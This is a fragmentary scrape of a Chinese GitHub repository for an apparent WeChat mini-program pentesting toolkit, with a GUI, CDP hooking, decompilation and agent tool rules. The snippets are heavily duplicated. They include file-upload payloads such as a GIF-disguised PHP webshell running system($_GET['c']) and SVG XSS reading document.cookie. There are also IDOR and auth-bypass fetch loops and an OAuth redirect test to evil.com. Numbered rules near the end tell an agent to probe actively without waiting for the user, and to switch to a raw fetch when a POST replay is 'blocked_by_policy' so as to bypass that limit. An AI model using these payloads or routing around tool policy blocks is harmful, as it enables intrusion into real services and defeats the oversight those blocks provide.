eeeeeeeeee-code/e0e1-wx

![Platform](https://img.shields.io/badge/Platform-Windows_10%2F11-0078D4)

![Python](https://img.shields.io/badge/Python-3.10%2B-3776AB)

![GUI](https://img.shields.io/badge/GUI-PySide6-41CD52)

- [r3x5ur/unveilr](https://github.com/r3x5ur/unveilr)

- [Ackites/KillWxapkg](https://github.com/Ackites/KillWxapkg)

- [x0tools/WeChatOpenDevTools](https://github.com/x0tools/WeChatOpenDevTools)

- [mrknow001/wx_sessionkey_decrypt](https://github.com/mrknow001/wx_sessionkey_decrypt)

- [JaveleyQAQ/WeChatOpenDevTools-Python](https://github.com/JaveleyQAQ/WeChatOpenDevTools-Python)

- [Spade-sec/First](https://github.com/Spade-sec/First)

[Credential-related source omitted]

{label:'gif_php',       fn:'shell.gif',       mime:'image/gif',       body:'GIF89a<?php system($_GET[\"c\"]);?>'},     {label:'double_ext',    fn:'img.php.jpg',     mime:'image/jpeg',      body:'<?php phpinfo();?>'},     {label:'svg_xss',  

{label:'double_ext',    fn:'img.php.jpg',     mime:'image/jpeg',      body:'<?php phpinfo();?>'},     {label:'svg_xss',       fn:'xss.svg',         mime:'image/svg+xml',   body:'<svg xmlns=\"http://www.w3.org/2000/svg\"><script>alert(docume

{label:'svg_xss',       fn:'xss.svg',         mime:'image/svg+xml',   body:'<svg xmlns=\"http://www.w3.org/2000/svg\"><script>alert(document.cookie)</script></svg>'},

var results=[];   // 测试1: 不带 token   var r1=await fetch(url,{method:method,headers:{'Content-Type':'application/json'},body:body});

// 测试1: 不带 token   var r1=await fetch(url,{method:method,headers:{'Content-Type':'application/json'},body:body});   results.push({test:'no_token',status:r1.status,body:await r1.text()});

var r1=await fetch(url,{method:method,headers:{'Content-Type':'application/json'},body:body});

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

var results=[];   for(var t of tests){     var r=await fetch('<目标URL>',{

for(var t of tests){     var r=await fetch('<目标URL>',{       method:'POST',

var r=await fetch('<目标URL>',{

// BASELINE: 原始 /undefined 请求（确认服务端如何处理字面 undefined）   var rb=await fetch(baseUrl,{method:method,headers:headers});

var rb=await fetch(baseUrl,{method:method,headers:headers});

for(var id of testIds){     var url=baseUrl.replace('/undefined','/'+ id);     var r=await fetch(url,{method:method,headers:headers});

var url=baseUrl.replace('/undefined','/'+ id);     var r=await fetch(url,{method:method,headers:headers});     var text=await r.text();

var r=await fetch(url,{method:method,headers:headers});

{label:'double_ext',   filename:'img.php.jpg',    mime:'image/jpeg',   content:'<?php phpinfo();?>'},     // ─── 前端 XSS 类 ───     {label:'svg_xss',      filename:'xss.svg',        mime:'image/svg+xml',content:'<svg xmlns="http://www.w3.org/

// ─── 前端 XSS 类 ───     {label:'svg_xss',      filename:'xss.svg',        mime:'image/svg+xml',content:'<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.cookie)</script></svg>'},     {label:'html_xss',     filename:'xss.html',

{label:'svg_xss',      filename:'xss.svg',        mime:'image/svg+xml',content:'<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.cookie)</script></svg>'},

[Credential-related source omitted]

[Credential-related source omitted]

var results=[];   for(var p of paths){     var r=await fetch(p,{method:'POST',

for(var p of paths){     var r=await fetch(p,{method:'POST',       headers:{'Content-Type':'application/json'},

var r=await fetch(p,{method:'POST',

var results=[];   for(var p of oauthPaths){     var r=await fetch(p);

for(var p of oauthPaths){     var r=await fetch(p);     if(r.status!==404) results.push({path:p,status:r.status});

var r=await fetch(p);

[Credential-related source omitted]

[Credential-related source omitted]

var g=await fetch(path,{method:'GET',

var fd=new FormData();     fd.append('file',new Blob(['test'],{type:'text/plain'}),'test.txt');     var p=await fetch(path,{method:'POST',

[Credential-related source omitted]

var p=await fetch(path,{method:'POST',

var results=[];   for(var p of probes){     var r=await fetch(p.path,{method:'GET'});

for(var p of probes){     var r=await fetch(p.path,{method:'GET'});     var hdrs={};

var r=await fetch(p.path,{method:'GET'});

for(var res of resources){     for(var id of testIds.slice(0,4)){       var r=await fetch('/api/'+res+'/'+id,{method:'GET',

[Credential-related source omitted]

var r=await fetch('/api/'+res+'/'+id,{method:'GET',

'Content-Type':'application/json'}};     if(m!=='GET') init.body=JSON.stringify({});     var r=await fetch(url,init);

if(m!=='GET') init.body=JSON.stringify({});     var r=await fetch(url,init);     results.push({method:m,status:r.status});

var r=await fetch(url,init);

expression="(()=>{const checks=[];try{eval('debugger')}catch(e){checks.push('eval_blocked')};if(Function.prototype.toString().includes('native'))checks.push('toString_ok');return checks})()")

[Credential-related source omitted]

[Credential-related source omitted]

# 内网 API 地址 debugger_ops(action="search_in_sources",              query="http://(10\\.|172\\.1[6-9]|172\\.2\\d|172\\.3[01]|192\\.168\\.)|https://(dev|test|staging|uat)\\.|http://(dev|test|staging|uat)\\.")

query="http://(10\\.|172\\.1[6-9]|172\\.2\\d|172\\.3[01]|192\\.168\\.)|https://(dev|test|staging|uat)\\.|http://(dev|test|staging|uat)\\.")

var results=[];   for(var id of testIds){     var r=await fetch(baseUrl.replace('/undefined','/'+id),{method:'GET',headers:headers});

for(var id of testIds){     var r=await fetch(baseUrl.replace('/undefined','/'+id),{method:'GET',headers:headers});     var t=await r.text();

var r=await fetch(baseUrl.replace('/undefined','/'+id),{method:'GET',headers:headers});

var decode=s=>JSON.parse(atob(pad(s.replace(/-/g,'+').replace(/_/g,'/'))));

// 测试1: redirect_uri 是否严格白名单   var authUrl='<authorization_endpoint>?client_id=xxx&response_type=code'     +'&redirect_uri=https://evil.com&scope=openid&state=test123';

var authUrl='<authorization_endpoint>?client_id=xxx&response_type=code'     +'&redirect_uri=https://evil.com&scope=openid&state=test123';   var r=await fetch(authUrl,{method:'GET',redirect:'manual'});

+'&redirect_uri=https://evil.com&scope=openid&state=test123';   var r=await fetch(authUrl,{method:'GET',redirect:'manual'});   // 302 到 evil.com → 🔴 redirect_uri 未严格校验

var r=await fetch(authUrl,{method:'GET',redirect:'manual'});

for(var v of versions){     for(var res of resources){       var r=await fetch('/api/'+v+'/'+res+'/1',{

[Credential-related source omitted]

var r=await fetch('/api/'+v+'/'+res+'/1',{

var fd=new FormData();     fd.append('file',new Blob([t.body],{type:t.mime}),t.filename);     var r=await fetch(url,{method:'POST',

[Credential-related source omitted]

var r=await fetch(url,{method:'POST',

var results=[];   for(var b of bypasses){     var r=await fetch(b.path,{method:'GET'});

for(var b of bypasses){     var r=await fetch(b.path,{method:'GET'});     results.push({label:b.label,status:r.status,

var r=await fetch(b.path,{method:'GET'});

var results=[];   for(var id of ids){     var r=await fetch(url.replace('<id>',id),{

[Credential-related source omitted]

var r=await fetch(url.replace('<id>',id),{

for(var v of versions){     var prefix=v?'/api/'+v:'/api';     var r=await fetch(prefix+'/users/1',{

[Credential-related source omitted]

var r=await fetch(prefix+'/users/1',{

runtime_ops(action="runtime_eval", expression="(async ()=>{   var url='/api/<发现的存活资源>/1';   var r=await fetch(url,{method:'GET'});  // 不带 Authorization

var url='/api/<发现的存活资源>/1';   var r=await fetch(url,{method:'GET'});  // 不带 Authorization   return {status:r.status,preview:(await r.text()).slice(0,300)};

var r=await fetch(url,{method:'GET'});  // 不带 Authorization

### 主动测试（36-39） 36. **IDOR/认证绕过不能只看静态报告**：`find_idor_candidates` 和 `analyze_auth_surface` 只给线索，必须用 `runtime_eval` + `fetch` 主动发送修改后的请求。不用等用户手动去 Burp 验证 37. **replay_ops 被阻断时换 fetch**：`replay_ops` 对 POST 默认阻断（`blocked_by_policy`），用 `runtime_

36. **IDOR/认证绕过不能只看静态报告**：`find_idor_candidates` 和 `analyze_auth_surface` 只给线索，必须用 `runtime_eval` + `fetch` 主动发送修改后的请求。不用等用户手动去 Burp 验证 37. **replay_ops 被阻断时换 fetch**：`replay_ops` 对 POST 默认阻断（`blocked_by_policy`），用 `runtime_ops(action="runt

37. **replay_ops 被阻断时换 fetch**：`replay_ops` 对 POST 默认阻断（`blocked_by_policy`），用 `runtime_ops(action="runtime_eval")` 中的 `fetch()` 直接从 webview 层发请求，绕过限制且能拿到完整响应

| eval/Function 打包 | `eval(...)` 或 `new Function(...)` 包裹 | Hook eval/Function 拦截解包后的源码 |

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

base64.b64decode(value, validate=True)

aes_iv = base64.b64decode(iv_b64)

aes_key = base64.b64decode(key_b64)

aes_iv = base64.b64decode(iv_b64)

aes_cipher = base64.b64decode(data_b64)

aes_key = base64.b64decode(key_b64)

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x10wmpf_debug.proto\x12\x11mmbizwxadevremote\"C\n\x18WARemoteDebug_DataFormat\x12\x0b\n\x03\x63md\x18\x01 \x01(\r\x12\x0c\n\x04uuid\x18\x02 \x01(\t\x12\x0c\n\x04\x64\x61ta\x18\x

Executable file

for port in range(int(start), CDP_PORT_END + 1):         with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:

with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

[Credential-related source omitted]

return f"http://{DEFAULT_MCP_HOST}:{int(self.port)}/mcp?{query}"

Executable file

raw = base64.b64decode(text + "=" * (-len(text) % 4))

return base64.b64decode(value + "=" * (-len(value) % 4))

ciphertext = base64.b64decode(value + "=" * (-len(value) % 4))

raw = base64.b64decode(value + "=" * (-len(value) % 4))

Executable file

Executable file

Executable file

[Credential-related source omitted]

[Credential-related source omitted]

const init={json.dumps(init, ensure_ascii=False)};   try {{     const resp=await fetch(url, init);

try {{     const resp=await fetch(url, init);     const text=await resp.clone().text();

const resp=await fetch(url, init);

const binary=atob(padded);

}}   try {{     const resp=await fetch(url, {{method, headers, body:fd}});

try {{     const resp=await fetch(url, {{method, headers, body:fd}});     const text=await resp.clone().text();

const resp=await fetch(url, {{method, headers, body:fd}});

"""合并 CDP 缓存和 Hook 记录，返回统一请求列表。"""         hooked = await self.get_hooked_requests()         merged: dict[str, JsonDict] = {key: self.normalize_request(value) for key, value in self.requests.items()}

hooked = await self.get_hooked_requests()         merged: dict[str, JsonDict] = {key: self.normalize_request(value) for key, value in self.requests.items()}         for item in hooked:

merged: dict[str, JsonDict] = {key: self.normalize_request(value) for key, value in self.requests.items()}

if not request_id:             return         record = self.requests.setdefault(request_id, {"requestId": request_id, "source": "cdp"})

return         record = self.requests.setdefault(request_id, {"requestId": request_id, "source": "cdp"})         if request_id not in self.request_order:

record = self.requests.setdefault(request_id, {"requestId": request_id, "source": "cdp"})

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

self.setWindowTitle("微信小程序自动化监控")         self.title_bar.set_subtitle("e0e1-wx-gui 1.4  https://github.com/eeeeeeeeee-code/e0e1-wx")

self.title_bar.set_subtitle("e0e1-wx-gui 1.4  https://github.com/eeeeeeeeee-code/e0e1-wx")

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

Executable file

![运行环境版本示意](https://cdn.nlark.com/yuque/0/2026/png/36087401/1777875799638-6b5855b1-4537-498d-ad4c-ee157d881ca0.png)

- [evi0s/WMPFDebugger - frida/config](https://github.com/evi0s/WMPFDebugger/tree/main/frida/config)

- [eeeeeeeeee-code/wx-hook releases](https://github.com/eeeeeeeeee-code/wx-hook/releases)

![应用配置](https://cdn.nlark.com/yuque/0/2026/png/36087401/1777874359415-5e903826-7b85-4f3b-891f-b12b2ae503c2.png)

![Proxifier 规则示意](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778036618837-77208700-5758-454e-b79d-6b6d47800744.png)

<img width="1397" height="735" alt="image" src="https://github.com/user-attachments/assets/5e122f81-be72-4a37-bac2-4f4c900934a1" />

<img width="1215" height="825" alt="image" src="https://github.com/user-attachments/assets/cd5f5816-de0c-4f3e-b9a1-0e18c371083d" />

<img width="702" height="120" alt="image" src="https://github.com/user-attachments/assets/4be6c59f-06fd-42c8-b016-2e95e68b799d" />

![监控功能](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042050587-557a9cee-b4ae-465f-970f-64a7fcdbee5a.png)

![反编译入口](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042079572-ee951825-078b-4806-b5e8-cc5f61d13a67.png)

![反编译结果](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042135093-df1312b4-d519-40ad-913f-f3dcb3f942ce.png)

![文件内搜索](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042163999-c62ed666-7449-4744-a9e7-ed78905ea1b7.png)

![自动正则匹配](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042318591-5ef49b44-7810-4b29-ba63-dd2acdf8cff4.png)

![匹配结果跳转](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042331278-c41bf437-d688-4647-adee-eb12a10a94da.png)

![全局搜索](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042355645-3c4e524e-c1f7-4527-b767-b9da37f8dccf.png)

![DevTools CDP 入口](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042401047-cd150971-d2b5-42bc-9f76-52a69b4e5200.png)

![调试链接](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042435660-fd9016c0-f02f-4d8a-b33c-0054fe4d9b98.png)

![浏览器调试页面](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042480467-570bdaf6-5e24-4b9d-977b-782b347ebfd4.png)

![路由功能](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042504187-6ab6cbf2-6ae1-4976-9af6-62da7a872201.png)

![云函数列表](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042575000-13a5bb1b-7518-47e7-8baa-84166d8b08b7.png)

![云函数调用](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042618570-c5a3e034-8b3a-46dd-97b5-aa8e74595ca8.png)

![调试开关入口](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042648322-ac40961d-25ae-4d71-b908-39ed03681549.png)

![重新打开小程序](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042714186-59211d1a-6483-45d1-8fe1-a12348f76882.png)

![vConsole 效果](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042734946-02265971-e7b9-4f28-a77a-8d9d2b97b41e.png)

![关闭方式一](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042755922-61637b77-04ea-43ba-9c27-dfdfea799568.png)

![关闭方式二](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778042773960-cf090119-a83d-4483-b049-3a06bd95190d.png)

![反编译标识示例](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778230245581-c738fff2-ac02-4ed9-841b-1facdf45352f.png)

![两种利用方式示例](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778230392877-42c272fc-a555-409a-b19c-76aba46bbd63.png)

![立即跳转提示](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778230557766-c935ef1c-43b9-4037-8955-77ce1a57cf17.png)

![功能点跳转示例](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778230663770-ee730a28-63cc-46c0-8f82-7e2d766c325d.png)

![带 path 跳转示例](https://cdn.nlark.com/yuque/0/2026/png/36087401/1778230736104-e20a4ee9-71f4-4380-a1ed-1c8b2baf506c.png)

Executable file

Executable file

Executable file

Executable file